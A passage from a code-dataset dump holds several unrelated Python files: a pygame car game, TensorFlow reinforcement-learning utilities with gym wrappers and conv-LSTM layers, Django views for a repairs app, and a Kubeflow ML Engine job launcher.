Trindade\\Documents\\Meu_GitHub\\Jogos\\Jogo carro\\arquivos\\carro04.png')\n\nfont = pygame.font.SysFont('arial black', 25)\ntexto = font.render(\"Tempo: \",True,(255,255,255),(0,0,0))\npos_texto = texto.get_rect()\npos_texto.center = (60,50)\n\n\njanela = pygame.display.set_mode((800,600)) # tamanho da tela\npygame.display.set_caption('JOGO DO KAZI 1.0') # nome na parte superior\n\n\n\njanela_aberta = True\nwhile janela_aberta:\n pygame.time.delay(50)\n\n \n \n\n\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n janela_aberta = False\n\n \n\n\n comandos = pygame.key.get_pressed()\n #if comandos[pygame.K_UP]:\n #y-= velocidade\n #if comandos[pygame.K_DOWN]:\n #y+= velocidade\n if comandos[pygame.K_RIGHT] and x <= 478:\n x+= velocidade\n if comandos[pygame.K_LEFT] and x >= 200:\n x-= velocidade\n \n if (pos_y02 >= 900):\n pos_y02 =randint(-4000,-1250)\n #print('Carro Azul',pos_y02)\n if (pos_y03 >= 900):\n pos_y03 = randint(-4000,-1250 )\n #print('carro vermelho',pos_y03)\n if (pos_y04 >= 900):\n pos_y04 = randint(-4000,-1250)\n #print('carro laranja', pos_y04) \n\n if pos_y02 >= -700 and pos_y02 <= -200:\n ajuste_carro2 = 10\n #print(ajuste_carro2,pos_y02)\n else:\n ajuste_carro2 = 5\n if pos_y03 >= -700 and pos_y03 <= -200:\n ajuste_carro3 = 10\n #print(ajuste_carro3,pos_y03)\n else:\n ajuste_carro3 = 3\n if pos_y04 >= -700 and pos_y04 <=-200:\n ajuste_carro4 = 10\n #print(ajuste_carro4,pos_y04)\n else:\n ajuste_carro4 = 7\n if ajuste_carro2 == ajuste_carro3 == ajuste_carro4:\n print(ajuste_carro2,pos_y02,ajuste_carro3,pos_y03,ajuste_carro4,pos_y04,'ajuste')\n pos_y02 = 900\n pos_y03 = 900\n pos_y04 = 900\n #print(pos_y02,pos_y03,pos_y04,'ajuste')\n #print(pos_y02,ajuste_carro2,pos_y03,ajuste_carro3,\"mesma zona\")\n #print('carro 02 posição {} {} carro 03 posição {} {} '.format(pos_y02,ajuste_1,pos_y03,ajuste_2,))\n \n\n \n #if (xx == yy):\n #print(pos_y02,pos_y03,ajuste)\n\n #, pos_y03 >=300 and pos_y03 <=600):\n #pos_y02 = -200\n ##print(pos_y02,ajuste,zona_conflito)#,pos_y03 , ajuste,'ajuste')\n #pos_y02 = -400 \n\n\n\n\n if (timer <20):\n timer += 1\n else:\n tempo_segundo += 1\n texto = font.render(\"Tempo: \"+str(tempo_segundo),True,(255,255,255),(0,0,0))\n timer = 0\n \n pos_y02 += velocidade02\n pos_y03 += velocidade02 #+ 5\n pos_y04 += velocidade02 #+ 10\n\n\n janela.blit(fundo,(0,0,))\n\n janela.blit(carroPlay,(x,y))\n janela.blit(carro02,(pos_x02,pos_y02))\n janela.blit(carro03,(pos_x03,pos_y03))\n janela.blit(carro04,(pos_x04, pos_y04))\n\n janela.blit(texto,pos_texto)\n\n\n\n pygame.display.update()\n\npygame.quit()","sub_path":"Jogo carro/Jogo.py","file_name":"Jogo.py","file_ext":"py","file_size_in_byte":3971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"369985275","text":"import tensorflow as tf\nfrom baselines.common.atari_wrappers import make_atari, wrap_deepmind, EpisodicLifeEnv, FireResetEnv, \\\n ScaledFloatFrame, ClipRewardEnv\nfrom baselines.common.vec_env.subproc_vec_env import SubprocVecEnv\nfrom baselines.common.vec_env.dummy_vec_env import DummyVecEnv\nfrom baselines.common import set_global_seeds\nfrom baselines.bench import Monitor\nfrom baselines import logger\nfrom collections import deque\nimport gym\nfrom gym import spaces\nimport cv2\ncv2.ocl.setUseOpenCL(False)\nimport numpy as np\nimport random\nimport os\nfrom torchvision.transforms import functional\nfrom PIL import Image\n\n# from dm_control import suite\n# from dm_control.suite.wrappers import pixels\nfrom gym import spaces\nfrom collections import OrderedDict\n\n# FLAGS = flags.FLAGS\n\n_BATCH_NORM_DECAY = 0.997\n_BATCH_NORM_EPSILON = 1e-5\nDEFAULT_VERSION = 2\nDEFAULT_DTYPE = tf.float32\nCASTABLE_TYPES = (tf.float16,)\nALLOWED_TYPES = (DEFAULT_DTYPE,) + CASTABLE_TYPES\n\nclass WarpFrame(gym.ObservationWrapper):\n def __init__(self, env, size=84, keep_obs=False):\n \"\"\"Warp frames to 84x84 as done in the Nature paper and later work.\"\"\"\n gym.ObservationWrapper.__init__(self, env)\n self.width = size\n self.height = size\n\n if keep_obs:\n self.observation_space = env.observation_space\n else:\n self.observation_space = spaces.Box(low=0, high=255,\n shape=(self.height, self.width, 3), dtype=np.uint8)\n\n def observation(self, frame):\n\n if type(frame) == OrderedDict:\n frame['pixels'] = cv2.resize(frame['pixels'], (self.width, self.height), interpolation=cv2.INTER_AREA)\n\n else:\n frame = cv2.resize(frame, (self.width, self.height), interpolation=cv2.INTER_AREA)\n return frame\n\nclass AugmentColor(gym.Wrapper):\n def __init__(self, env):\n \"\"\"Warp frames to 84x84 as done in the Nature paper and later work.\"\"\"\n gym.Wrapper.__init__(self, env)\n self._reset_random()\n\n\n def reset(self):\n self._reset_random()\n ob = self.env.reset()\n return ob\n\n def step(self, action):\n ob, reward, done, info = self.env.step(action)\n ob = Image.fromarray(ob)\n ob = functional.adjust_brightness(ob, self.brightness)\n ob = functional.adjust_contrast(ob, self.contrast)\n ob = functional.adjust_saturation(ob, self.saturation)\n ob = functional.adjust_hue(ob, self.hue)\n ob_new = np.array(ob)\n # ob_new = np.clip(ob.astype(np.float32) + np.random.uniform(-10, 10, ob.shape), 0, 255).astype(np.uint8)\n return ob_new, reward, done, info\n\n def _reset_random(self):\n self.brightness = np.random.uniform(0.7, 1.3)\n self.contrast = np.random.uniform(0.7, 1.3)\n self.saturation = np.random.uniform(0.7, 1.3)\n self.hue = np.random.uniform(0.0, 0.3)\n\n\nclass FrameStack(gym.Wrapper):\n def __init__(self, env, k, keep_obs=False):\n \"\"\"Stack k last frames.\n Returns lazy array, which is much more memory efficient.\n See Also\n --------\n rl_common.atari_wrappers.LazyFrames\n \"\"\"\n gym.Wrapper.__init__(self, env)\n self.k = k\n self.frames = deque([], maxlen=k)\n shp = env.observation_space.shape\n\n if keep_obs:\n self.observation_space = env.observation_space\n else:\n self.observation_space = spaces.Box(low=0, high=255, shape=(shp[0], shp[1], shp[2] * k), dtype=np.uint8)\n\n def reset(self):\n ob = self.env.reset()\n\n if type(ob) == OrderedDict:\n ob_frame = ob['pixels']\n else:\n ob_frame = ob\n for _ in range(self.k):\n self.frames.append(ob_frame)\n return self._get_ob(ob)\n\n def step(self, action):\n ob, reward, done, info = self.env.step(action)\n if type(ob) == OrderedDict:\n self.frames.append(ob['pixels'])\n else:\n self.frames.append(ob)\n return self._get_ob(ob), reward, done, info\n\n def _get_ob(self, ob):\n assert len(self.frames) == self.k\n\n if type(ob) == OrderedDict:\n ob['pixels'] = np.concatenate(self.frames, axis=2)\n return ob\n else:\n return np.concatenate(self.frames, axis=2)\n\n\nclass RandomRepeat(gym.Wrapper):\n def __init__(self, env):\n gym.Wrapper.__init__(self, env)\n\n def reset(self):\n ob = self.env.reset()\n return ob\n\n def step(self, action):\n ob, reward, done, info = self.env.step(action)\n\n while (not done) and (random.uniform(0, 1) < 0.5):\n ob, temp_reward, done, info = self.env.step(action)\n reward += temp_reward\n\n return ob, reward, done, info\n\n\n\nclass EpsRandom(gym.Wrapper):\n def __init__(self, env):\n gym.Wrapper.__init__(self, env)\n self.n = env.action_space.n\n\n def reset(self):\n ob = self.env.reset()\n return ob\n\n def step(self, action):\n if (random.uniform(0, 1) < 0.1):\n action = random.randint(0, self.n-1)\n\n ob, reward, done, info = self.env.step(action)\n\n return ob, reward, done, info\n\n\nclass MakeGym():\n def __init__(self, env):\n # self.n = env.action_space.n\n act_spec = env.action_spec()\n obs_spec = env.observation_spec()\n\n total_dim = 0\n for name in list(obs_spec):\n if name != \"pixels\":\n if len(obs_spec[name].shape) == 0:\n total_dim += 1\n else:\n total_dim += obs_spec[name].shape[0]\n\n self.observation_space = spaces.Box(low=-100., high=100., shape=(total_dim,), dtype=np.float32)\n self.action_space = spaces.Box(low=act_spec.minimum, high=act_spec.maximum, dtype=np.float32)\n self.reward_range = (0, 1)\n self.metadata = {}\n self.env = env\n self.spec = \"shit\"\n\n # Max length of 1000\n self.counter = 0\n\n def reset(self):\n timestep, reward, discount, ob = self.env.reset()\n self.counter = 0\n return self._construct_ob(ob)\n\n def _construct_ob(self, ob):\n state = []\n for key in ob.keys():\n if key != 'pixels':\n if type(ob[key]) == np.float64:\n state.append([ob[key]])\n else:\n state.append(ob[key])\n\n ob_flat = np.concatenate(state, axis=0)\n ob_dict = {'pixels': ob['pixels'], 'flat': ob_flat}\n\n return OrderedDict(ob_dict)\n\n def step(self, action):\n timestep, reward, discount, ob = self.env.step(action)\n\n if reward is None:\n reward = 0.0\n\n done = False\n\n if self.counter == 1000:\n self.counter = 0\n done = True\n\n self.counter += 1\n info = {}\n\n return self._construct_ob(ob), reward, done, info\n\n\nclass RandomFix(gym.Wrapper):\n def __init__(self, env):\n gym.Wrapper.__init__(self, env)\n self.n = env.action_space.n\n self.counter = 0\n\n def reset(self):\n ob = self.env.reset()\n self.counter = 0\n return ob\n\n def step(self, action):\n ob, reward, done, info = self.env.step(action)\n\n if self.counter % 5 == 0:\n for i in range(2):\n if done:\n break\n action = random.randint(0, self.n-1)\n ob, reward_tmp, done, info = self.env.step(action)\n reward = reward + reward_tmp\n\n return ob, reward, done, info\n\n\ndef optimistic_restore(session, save_file):\n reader = tf.train.NewCheckpointReader(save_file)\n saved_shapes = reader.get_variable_to_shape_map()\n var_names = sorted([(var.name, var.name.split(':')[0]) for var in tf.global_variables()\n if var.name.split(':')[0] in saved_shapes])\n restore_vars = []\n with tf.variable_scope('', reuse=tf.AUTO_REUSE):\n for var_name, saved_var_name in var_names:\n try:\n curr_var = tf.get_variable(saved_var_name)\n var_shape = curr_var.get_shape().as_list()\n if var_shape == saved_shapes[saved_var_name]:\n restore_vars.append(curr_var)\n except:\n print(\"Skipping variable {}\".format(var_name))\n saver = tf.train.Saver(restore_vars)\n saver.restore(session, save_file)\n\n\ndef make_atari_env_custom(env_id, num_env, seed, frame_stack, wrapper_kwargs={}, start_index=0, random_action=False, eps_random=False, augment=False, clip_rewards=True, episode_life=True, random_fix=False, size=84):\n \"\"\"\n Create a wrapped, monitored SubprocVecEnv for Atari.\n \"\"\"\n if wrapper_kwargs is None: wrapper_kwargs = {}\n\n def wrap_deepmind_custom(env, episode_life=True, clip_rewards=True, frame_stack=frame_stack, scale=False):\n if episode_life:\n env = EpisodicLifeEnv(env)\n if 'FIRE' in env.unwrapped.get_action_meanings():\n env = FireResetEnv(env)\n env = WarpFrame(env, size=size)\n if augment:\n env = AugmentColor(env)\n if scale:\n env = ScaledFloatFrame(env)\n if clip_rewards:\n env = ClipRewardEnv(env)\n if frame_stack:\n env = FrameStack(env, frame_stack)\n return env\n\n def make_env(rank): # pylint: disable=C0111\n def _thunk():\n env = make_atari(env_id)\n env.seed(seed + rank if seed is not None else None)\n if random_action:\n env = RandomRepeat(env)\n if eps_random:\n env = EpsRandom(env)\n if random_fix:\n env = RandomFix(env)\n env = Monitor(env, logger.get_dir() and os.path.join(logger.get_dir(), str(rank)), allow_early_resets=True)\n return wrap_deepmind_custom(env, episode_life=episode_life, clip_rewards=clip_rewards, **wrapper_kwargs)\n return _thunk\n set_global_seeds(seed)\n return SubprocVecEnv([make_env(i + start_index) for i in range(num_env)])\n\n\ndef make_dm_control(domain_name, task_name, num_env, seed, frame_stack, vis_reward=False, wrapper_kwargs={}, start_index=0):\n \"\"\"\n Create a wrapped, monitored SubprocVecEnv for Atari.\n \"\"\"\n if wrapper_kwargs is None: wrapper_kwargs = {}\n\n def wrap_env(seed):\n\n env = suite.load(domain_name, task_name, task_kwargs={'random':seed}, visualize_reward=vis_reward)\n env = pixels.Wrapper(env, pixels_only=False)\n env = MakeGym(env)\n env = WarpFrame(env, keep_obs=True)\n env = FrameStack(env, frame_stack, keep_obs=True)\n return env\n\n def make_env(rank): # pylint: disable=C0111\n def _thunk():\n env = wrap_env(seed + rank)\n env = Monitor(env, logger.get_dir() and os.path.join(logger.get_dir(), str(rank)))\n return env\n return _thunk\n set_global_seeds(seed)\n return SubprocVecEnv([make_env(i + start_index) for i in range(num_env)])\n\n\ndef wrap_pad(input, size):\n M1 = tf.concat([input[:,:, -size:,:], input, input[:,:, 0:size,:]], 2)\n M1 = tf.concat([M1[:,:, :,-size:], M1, M1[:,:, :,0:size]], 3)\n return M1\n\n\ndef spatial_mem(inp, state, FLAGS, reuse=False, scope=\"\", bypass_res=False, action=None):\n \"\"\"Computes representation on inp through spatial mem given inp of size nchw and state of nchw\"\"\"\n\n state = state[0]\n state_shape = state.get_shape()\n state_channel = state.get_shape()[1]\n input_channel = inp.get_shape()[1]\n merge = tf.concat([inp, state], axis=1)\n merge_dim = state_channel + input_channel\n\n if action is not None:\n state = tf.concat([action, state], axis=1)\n\n with tf.variable_scope(\"spatial_mem\"+scope, reuse=reuse):\n if not bypass_res:\n state_res = tf.layers.conv2d(inputs=merge, filters=state_channel, kernel_size=(5, 5), strides=(1, 1),\n padding='same', name='mem1', data_format='channels_first', activation=tf.nn.elu)\n state_concat = tf.concat([state, state_res], axis=1)\n state = tf.layers.conv2d(inputs=state_concat, filters=state_channel, kernel_size=(5, 5), strides=(1,1),\n padding='same', name='state_merge', data_format='channels_first', activation=tf.nn.elu)\n\n # state = wrap_pad(state, 2)\n state_step = state_next = tf.layers.conv2d(inputs=state, filters=state_channel, kernel_size=(5, 5), strides=(1, 1),\n padding='same', name='dym1', data_format='channels_first', activation=tf.nn.elu)\n\n outputs = []\n\n for i in range(1):\n\n merge_step_1 = tf.concat([state_step, inp], axis=1)\n # merge_step_1 = wrap_pad(merge_step_1, 1)\n output = tf.layers.conv2d(inputs=merge_step_1, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='output', data_format='channels_first', reuse=reuse, activation=tf.nn.elu)\n outputs.append(output)\n\n # if i != FLAGS.pred_steps -1:\n # state_step = wrap_pad(state_step, 2)\n # state_step = tf.layers.conv2d(inputs=state_step, filters=state_channel, kernel_size=(5, 5), strides=(1, 1),\n # padding='same', name='dym1', data_format='channels_first', reuse=True, activation=tf.nn.elu)\n # reuse = True\n\n output = tf.stack(outputs, axis=1)\n\n\n return [state_next], output, state_step\n\n\ndef convlstm(inp, state, FLAGS, reuse=False, scope=\"\", bypass_res=False):\n \"\"\"Computes representation on inp through spatial mem given inp of size nchw and state of nchw\"\"\"\n\n state = state[0]\n cell, hidden = tf.split(state, 2, axis=1)\n input_channel = cell.get_shape()[1]\n output_channel = inp.get_shape()[1]\n\n with tf.variable_scope(\"spatial_lstm\"+scope, reuse=reuse):\n input_x = tf.layers.conv2d(inputs=inp, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='ig', data_format='channels_first', reuse=reuse, use_bias=False)\n input_h = tf.layers.conv2d(inputs=hidden, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='hg', data_format='channels_first', reuse=reuse, use_bias=False)\n input_c = tf.layers.conv2d(inputs=cell, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='cg', data_format='channels_first', reuse=reuse)\n\n inp_gate = tf.nn.sigmoid(input_x + input_h + input_c)\n\n forget_x = tf.layers.conv2d(inputs=inp, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='if', data_format='channels_first', reuse=reuse, use_bias=False)\n forget_h = tf.layers.conv2d(inputs=hidden, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='hf', data_format='channels_first', reuse=reuse, use_bias=False)\n forget_c = tf.layers.conv2d(inputs=cell, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='cf', data_format='channels_first', reuse=reuse)\n\n forget_gate = tf.nn.sigmoid(forget_x + forget_h + forget_c)\n\n\n input_act_x = tf.layers.conv2d(inputs=inp, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='ii', data_format='channels_first', reuse=reuse, use_bias=False)\n input_act_h = tf.layers.conv2d(inputs=hidden, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='hi', data_format='channels_first', reuse=reuse)\n\n inp = input_act_x + input_act_h\n\n output_x = tf.layers.conv2d(inputs=inp, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='io', data_format='channels_first', reuse=reuse, use_bias=False)\n output_h = tf.layers.conv2d(inputs=hidden, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='ho', data_format='channels_first', reuse=reuse, use_bias=False)\n output_c = tf.layers.conv2d(inputs=cell, filters=input_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='co', data_format='channels_first', reuse=reuse)\n\n output_gate = tf.nn.sigmoid(output_x + output_h + output_c)\n\n cell_new = forget_gate * cell + inp_gate * tf.nn.tanh(inp)\n\n hidden_new = tf.nn.tanh(output_gate * cell_new)\n output = tf.layers.conv2d(inputs=hidden_new, filters=output_channel, kernel_size=(3, 3), strides=(1, 1),\n padding='same', name='creshape', data_format='channels_first', reuse=reuse)\n state_next = tf.concat([cell_new, hidden_new], axis=1)\n\n return [state_next], output, None\n\n\ndef conv2d_fixed_padding(inputs, filters, kernel_size, strides, data_format, name):\n \"\"\"Strided 2-D convolution with explicit padding.\"\"\"\n # The padding is consistent and is based only on `kernel_size`, not on the\n # dimensions of `inputs` (as opposed to using `tf.layers.conv2d` alone).\n if strides > 1:\n inputs = fixed_padding(inputs, kernel_size, data_format)\n\n return tf.layers.conv2d(\n inputs=inputs, filters=filters, kernel_size=kernel_size, strides=strides,\n padding=('SAME' if strides == 1 else 'VALID'), use_bias=False,\n kernel_initializer=tf.variance_scaling_initializer(),\n data_format=data_format, name=name)\n\ndef batch_norm(inputs, training, data_format, name):\n \"\"\"Performs a batch normalization using a standard set of parameters.\"\"\"\n # We set fused=True for a significant performance boost. See\n # https://www.tensorflow.org/performance/performance_guide#common_fused_ops\n return tf.layers.batch_normalization(\n inputs=inputs, axis=1 if data_format == 'channels_first' else 3,\n momentum=_BATCH_NORM_DECAY, epsilon=_BATCH_NORM_EPSILON, center=True,\n scale=True, training=training, fused=True, name=name)\n\n\ndef residual_block(inputs, filters, training, data_format, name='', reuse=False, use_batch=False):\n\n with tf.variable_scope(name, reuse=reuse):\n shortcut = inputs\n\n if use_batch:\n inputs = batch_norm(inputs, training, data_format, name='bn1')\n\n inputs = tf.nn.leaky_relu(inputs)\n\n inputs = conv2d_fixed_padding(inputs=inputs, filters=filters, kernel_size=3, strides=1, data_format=data_format, name='conv1')\n\n if use_batch:\n inputs = batch_norm(inputs, training, data_format, name='bn2')\n\n inputs = tf.nn.leaky_relu(inputs)\n inputs = conv2d_fixed_padding(inputs=inputs, filters=filters, kernel_size=3, strides=1, data_format=data_format, name='conv2')\n\n return inputs + shortcut\n\n\ndef check_image(image):\n assertion = tf.assert_equal(tf.shape(image)[-1], 3, message=\"image must have 3 color channels\")\n with tf.control_dependencies([assertion]):\n image = tf.identity(image)\n\n if image.get_shape().ndims not in (3, 4):\n raise ValueError(\"image must be either 3 or 4 dimensions\")\n\n # make the last dimension 3 so that you can unstack the colors\n shape = list(image.get_shape())\n shape[-1] = 3\n image.set_shape(shape)\n return image\n\n# based on https://github.com/torch/image/blob/9f65c30167b2048ecbe8b7befdc6b2d6d12baee9/generic/image.c\ndef rgb_to_lab(srgb):\n with tf.name_scope(\"rgb_to_lab\"):\n srgb = check_image(srgb)\n srgb_pixels = tf.reshape(srgb, [-1, 3])\n\n with tf.name_scope(\"srgb_to_xyz\"):\n linear_mask = tf.cast(srgb_pixels <= 0.04045, dtype=tf.float32)\n exponential_mask = tf.cast(srgb_pixels > 0.04045, dtype=tf.float32)\n rgb_pixels = (srgb_pixels / 12.92 * linear_mask) + (((srgb_pixels + 0.055) / 1.055) ** 2.4) * exponential_mask\n rgb_to_xyz = tf.constant([\n # X Y Z\n [0.412453, 0.212671, 0.019334], # R\n [0.357580, 0.715160, 0.119193], # G\n [0.180423, 0.072169, 0.950227], # B\n ])\n xyz_pixels = tf.matmul(rgb_pixels, rgb_to_xyz)\n\n # https://en.wikipedia.org/wiki/Lab_color_space#CIELAB-CIEXYZ_conversions\n with tf.name_scope(\"xyz_to_cielab\"):\n # convert to fx = f(X/Xn), fy = f(Y/Yn), fz = f(Z/Zn)\n\n # normalize for D65 white point\n xyz_normalized_pixels = tf.multiply(xyz_pixels, [1/0.950456, 1.0, 1/1.088754])\n\n epsilon = 6/29\n linear_mask = tf.cast(xyz_normalized_pixels <= (epsilon**3), dtype=tf.float32)\n exponential_mask = tf.cast(xyz_normalized_pixels > (epsilon**3), dtype=tf.float32)\n fxfyfz_pixels = (xyz_normalized_pixels / (3 * epsilon**2) + 4/29) * linear_mask + (xyz_normalized_pixels ** (1/3)) * exponential_mask\n\n # convert to lab\n fxfyfz_to_lab = tf.constant([\n # l a b\n [ 0.0, 500.0, 0.0], # fx\n [116.0, -500.0, 200.0], # fy\n [ 0.0, 0.0, -200.0], # fz\n ])\n lab_pixels = tf.matmul(fxfyfz_pixels, fxfyfz_to_lab) + tf.constant([-16.0, 0.0, 0.0])\n\n return tf.stop_gradient(tf.reshape(lab_pixels, tf.shape(srgb)))\n\ndef preprocess_lab(lab):\n with tf.name_scope(\"preprocess_lab\"):\n L_chan, a_chan, b_chan = tf.unstack(lab, axis=3)\n # L_chan: black and white with input range [0, 100]\n # a_chan/b_chan: color channels with input range ~[-110, 110], not exact\n # [0, 100] => [-1, 1], ~[-110, 110] => [-1, 1]\n return tf.stop_gradient(tf.stack([L_chan / 50 - 1, a_chan / 110, b_chan / 110], axis=3))\n\n\nclass ReplayBuffer(object):\n def __init__(self, size):\n \"\"\"Create Replay buffer.\n Parameters\n ----------\n size: int\n Max number of transitions to store in the buffer. When the buffer\n overflows the old memories are dropped.\n \"\"\"\n self._storage = []\n self._maxsize = size\n self._next_idx = 0\n\n def __len__(self):\n return len(self._storage)\n\n def add(self, ims):\n batch_size = ims.shape[0]\n if self._next_idx >= len(self._storage):\n self._storage.extend(list(ims))\n else:\n if batch_size + self._next_idx < self._maxsize:\n self._storage[self._next_idx:self._next_idx +\n batch_size] = list(ims)\n else:\n split_idx = self._maxsize - self._next_idx\n self._storage[self._next_idx:] = list(ims)[:split_idx]\n self._storage[:batch_size - split_idx] = list(ims)[split_idx:]\n self._next_idx = (self._next_idx + ims.shape[0]) % self._maxsize\n\n def _encode_sample(self, idxes):\n ims = []\n for i in idxes:\n ims.append(self._storage[i])\n return np.array(ims)\n\n def sample(self, batch_size):\n \"\"\"Sample a batch of experiences.\n Parameters\n ----------\n batch_size: int\n How many transitions to sample.\n Returns\n -------\n obs_batch: np.array\n batch of observations\n act_batch: np.array\n batch of actions executed given obs_batch\n rew_batch: np.array\n rewards received as results of executing act_batch\n next_obs_batch: np.array\n next set of observations seen after executing act_batch\n done_mask: np.array\n done_mask[i] = 1 if executing act_batch[i] resulted in\n the end of an episode and 0 otherwise.\n \"\"\"\n idxes = [random.randint(0, len(self._storage) - 1)\n for _ in range(batch_size)]\n return self._encode_sample(idxes)\n\n\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":23997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"324794535","text":"from django.shortcuts import get_object_or_404, render\nfrom repairs.models import Need, Service, Category\nfrom repairs.forms import QuoteForm, NeedForm\nfrom django.http import HttpResponse\n\nfrom django.http import HttpResponseRedirect\n\n\ndef home(request):\n # Show available services at home page\n category_list = Category.objects.all\n context = {'category_list': category_list}\n return render(request, 'repairs/home.html', context)\n\ndef need_create(request):\n if request.POST:\n form = NeedForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/repairs/')\n else:\n form = NeedForm()\n\n return render(request, 'repairs/need_create.html', {'form': form})\n\n\n\ndef category_list(request, category_id=None):\n category_list = Category.objects.all\n if category_id is None:\n category_detail = Category.objects.all\n else:\n category_detail = Category.objects.filter(id=category_id)\n\n context = {'category_list': category_list, 'category_detail': category_detail}\n return render(request, 'repairs/category_list.html', context)\n\ndef category_detail(request, category_pk):\n category_list = Category.objects.all\n category_detail = get_object_or_404(Category, pk=category_pk)\n context = {'category_list' : category_list, 'category_detail': category_detail}\n return render(request, 'repairs/category_detail.html', context)\n\ndef need_list(request):\n need_list = Need.objects.all\n context = {'need_list': need_list}\n return render(request, 'repairs/need_list.html', context)\n\n\ndef need_detail(request, need_id):\n need = get_object_or_404(Need, pk=need_id)\n return render(request, 'repairs/need_detail.html', {'need': need})\n\n\n\n\n\n\ndef quote_create(request):\n if request.POST:\n form = QuoteForm(request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect('/repairs/')\n else:\n form = QuoteForm()\n\n return render(request, 'repairs/quote_create.html', {'form': form})\n\n\ndef search_form(request):\n return render(request, 'repairs/search_form.html')\n\ndef search(request):\n if 'q' in request.GET:\n message = 'You searched for: %r' % request.GET['q']\n else:\n message = 'You submitted an empty form.'\n return HttpResponse(message)\n\n","sub_path":"repairs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"440139681","text":"# Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\nimport json\nimport logging\nimport re\nimport time\n\nfrom googleapiclient import errors\n\nfrom kfp_component.core import KfpExecutionContext, display\nfrom ._client import MLEngineClient\nfrom .. import common as gcp_common\n\ndef create_job(project_id, job, job_id_prefix=None, wait_interval=30):\n \"\"\"Creates a MLEngine job.\n\n Args:\n project_id: the ID of the parent project of the job.\n job: the payload of the job. Must have ``jobId`` \n and ``trainingInput`` or ``predictionInput`.\n job_id_prefix: the prefix of the generated job id.\n wait_interval: optional wait interval between calls\n to get job status. Defaults to 30.\n\n \"\"\"\n return CreateJobOp(project_id, job, job_id_prefix,\n wait_interval).execute_and_wait()\n\nclass CreateJobOp:\n def __init__(self, project_id, job, job_id_prefix=None, wait_interval=30):\n self._ml = MLEngineClient()\n self._project_id = project_id\n self._job_id_prefix = job_id_prefix\n self._job_id = None\n self._job = job\n self._wait_interval = wait_interval\n \n def execute_and_wait(self):\n with KfpExecutionContext(on_cancel=self._cancel) as ctx:\n self._set_job_id(ctx.context_id())\n self._dump_metadata()\n self._create_job()\n finished_job = self._wait_for_done()\n self._dump_job(finished_job)\n if finished_job['state'] != 'SUCCEEDED':\n raise RuntimeError('Job failed with state {}. Error: {}'.format(\n finished_job['state'], finished_job.get('errorMessage', '')))\n return finished_job\n\n def _set_job_id(self, context_id):\n if self._job_id_prefix:\n job_id = self._job_id_prefix + context_id[:16]\n else:\n job_id = 'job_' + context_id\n job_id = gcp_common.normalize_name(job_id)\n self._job_id = job_id\n self._job['jobId'] = job_id\n\n def _cancel(self):\n try:\n logging.info('Cancelling job {}.'.format(self._job_id))\n self._ml.cancel_job(self._project_id, self._job_id)\n logging.info('Cancelled job {}.'.format(self._job_id))\n except errors.HttpError as e:\n # Best effort to cancel the job\n logging.error('Failed to cancel the job: {}'.format(e))\n pass\n\n def _create_job(self):\n try:\n self._ml.create_job(\n project_id = self._project_id,\n job = self._job\n )\n except errors.HttpError as e:\n if e.resp.status == 409:\n if not self._is_dup_job():\n logging.error('Another job has been created with same name before: {}'.format(self._job_id))\n raise\n logging.info('The job {} has been submitted before. Continue waiting.'.format(self._job_id))\n else:\n logging.error('Failed to create job.\\nPayload: {}\\nError: {}'.format(self._job, e))\n raise\n\n def _is_dup_job(self):\n existing_job = self._ml.get_job(self._project_id, self._job_id)\n return existing_job.get('trainingInput', None) == self._job.get('trainingInput', None) \\\n and existing_job.get('predictionInput', None) == self._job.get('predictionInput', None)\n\n def _wait_for_done(self):\n while True:\n job = self._ml.get_job(self._project_id, self._job_id)\n if job.get('state', None) in ['SUCCEEDED', 'FAILED', 'CANCELLED']:\n return job\n # Move to config from flag\n logging.info('job status is {}, wait for {}s'.format(\n job.get('state', None), self._wait_interval))\n time.sleep(self._wait_interval)\n\n def _dump_metadata(self):\n display.display(display.Link(\n 'https://console.cloud.google.com/mlengine/jobs/{}?project={}'.format(\n self._job_id, self._project_id),\n 'Job Details'\n ))\n display.display(display.Link(\n 'https://console.cloud.google.com/logs/viewer?project={}&resource=ml_job/job_id/{}&interval=NO_LIMIT'.format(\n self._project_id, self._job_id),\n 'Logs'\n ))\n if 'trainingInput' in self._job and 'jobDir' in self._job['trainingInput']:\n display.display(display.Tensorboard(\n self._job['trainingInput']['jobDir']))\n\n def _dump_job(self, job):\n logging.info('Dumping job: {}'.format(job))\n gcp_common.dump_file('/tmp/kfp/output/ml_engine/job.json', json.dumps(job))\n gcp_common.dump_file('/tmp/kfp/output/ml_engine/job_id.txt', 